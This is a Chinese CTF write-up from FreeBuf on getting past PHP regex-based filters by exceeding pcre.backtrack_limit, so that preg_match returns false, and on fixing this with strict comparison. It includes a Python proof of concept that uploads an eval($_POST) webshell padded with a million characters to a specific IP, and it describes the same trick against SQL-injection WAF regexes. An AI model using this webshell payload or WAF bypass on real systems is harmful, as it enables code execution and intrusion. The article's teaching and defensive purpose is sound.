PHP利用PCRE回溯次数限制绕过某些安全限制

2018-12-03 131828人围观 ,发现 8 个不明物体 WEB安全

*本文原创作者:phith0n,本文属FreeBuf原创奖励计划,未经许可禁止转载

这次 Code-Breaking Puzzles 中我出了一道看似很简单的题目pcrewaf,将其代码简化如下:

<?php
function is_php($data){  
    return preg_match('/<\?.*[(`;?>].*/is', $data);  
}

if(!is_php($input)) {
    // fwrite($f, $input); ...
}

大意是判断一下用户输入的内容有没有 PHP 代码,如果没有,则写入文件。这种时候,如何绕过 is_php() 函数来写入 webshell 呢?

这道题看似简单,深究其原理,还是值得写一篇文章的。

0×01 正则表达式是什么

正则表达式是一个可以被「有限状态自动机」接受的语言类。

「有限状态自动机」,其拥有有限数量的状态,每个状态可以迁移到零个或多个状态,输入字串决定执行哪个状态的迁移。

而常见的正则引擎,又被细分为 DFA(确定性有限状态自动机)与 NFA(非确定性有限状态自动机)。他们匹配输入的过程分别是:

DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入

NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态

由于 NFA 的执行过程存在回溯,所以其性能会劣于 DFA,但它支持更多功能。大多数程序语言都使用了 NFA 作为正则引擎,其中也包括 PHP 使用的 PCRE 库。

0×02 回溯的过程是怎样的

所以,我们题目中的正则 <\?.*[(`;?>].*,假设匹配的输入是 <?php phpinfo();//aaaaa,实际执行流程是这样的:

见上图,可见第 4 步的时候,因为第一个 .* 可以匹配任何字符,所以最终匹配到了输入串的结尾,也就是 //aaaaa。但此时显然是不对的,因为正则显示.*后面还应该有一个字符 [(`;?>]。

所以 NFA 就开始回溯,先吐出一个 a,输入变成第 5 步显示的 //aaaa,但仍然匹配不上正则,继续吐出 a,变成 //aaa,仍然匹配不上……

最终直到吐出;,输入变成第 12 步显示的 <?php phpinfo(),此时 ,.* 匹配的是 php phpinfo(),而后面的 ; 则匹配上  [(`;?>] ,这个结果满足正则表达式的要求,于是不再回溯。13 步开始向后匹配;,14 步匹配.*,第二个.*匹配到了字符串末尾,最后结束匹配。

在调试正则表达式的时候,我们可以查看当前回溯的次数:

这里回溯了 8 次。

0×03 PHP 的 pcre.backtrack_limit 限制利用

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit。我们可以通过 var_dump(ini_get(‘pcre.backtrack_limit’));的方式查看当前环境下的上限:

这里有个有趣的事情,就是 PHP 文档中,中英文版本的数值是不一样的:

我们应该以英文版为参考。

可见,回溯次数上限默认是 100 万。那么,假设我们的回溯次数超过了 100 万,会出现什么现象呢?比如:

可见,preg_match 返回的非 1 和 0,而是 false。

preg_match 函数返回 false 表示此次执行失败了,我们可以调用 var_dump(preg_last_error() === PREG_BACKTRACK_LIMIT_ERROR);,发现失败的原因的确是回溯次数超出了限制:

所以,这道题的答案就呼之欲出了。我们通过发送超长字符串的方式,使正则执行失败,最后绕过目标对 PHP 语言的限制。

对应的 POC 如下:

import requests
from io import BytesIO

files = {
  'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}

res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)

0×04 PCRE 另一种错误的用法

延伸一下,很多基于 PHP 的 WAF,如:

<?php
if(preg_match('/SELECT.+FROM.+/is', $input)) {
    die('SQL Injection');
}

均存在上述问题,通过大量回溯可以进行绕过。

另外,我遇到更常见的一种 WAF 是:

<?php
if(preg_match('/UNION.+?SELECT/is', $input)) {
    die('SQL Injection');
}

这里涉及到了正则表达式的「非贪婪模式」。在 NFA 中,如果我输入 UNION/*aaaaa*/SELECT,这个正则表达式执行流程如下:

.+? 匹配到/

因为非贪婪模式,所以.+? 停止匹配,而由 S 匹配*

S 匹配*失败,回溯,再由.+? 匹配*

因为非贪婪模式,所以.+? 停止匹配,而由 S 匹配 a

S 匹配 a 失败,回溯,再由.+? 匹配 a

回溯次数随着 a 的数量增加而增加。所以,我们仍然可以通过发送大量 a,来使回溯次数超出 pcre.backtrack_limit 限制,进而绕过 WAF:

0×05 修复方法

那么,如何修复这个问题呢?

其实如果我们仔细观察 PHP 文档,是可以看到 preg_match 函数下面的警告的:

如果用 preg_match 对字符串进行匹配,一定要使用===全等号来判断返回值,如:

<?php
function is_php($data){  
    return preg_match('/<\?.*[(`;?>].*/is', $data);  
}

if(is_php($input) === 0) {
    // fwrite($f, $input); ...
}

这样,即使正则执行失败返回 false,也不会进入 if 语句。

*本文原创作者:phith0n,本文属FreeBuf原创奖励计划,未经许可禁止转载

发表评论

已有 8 条评论

取消
Loading...
css.php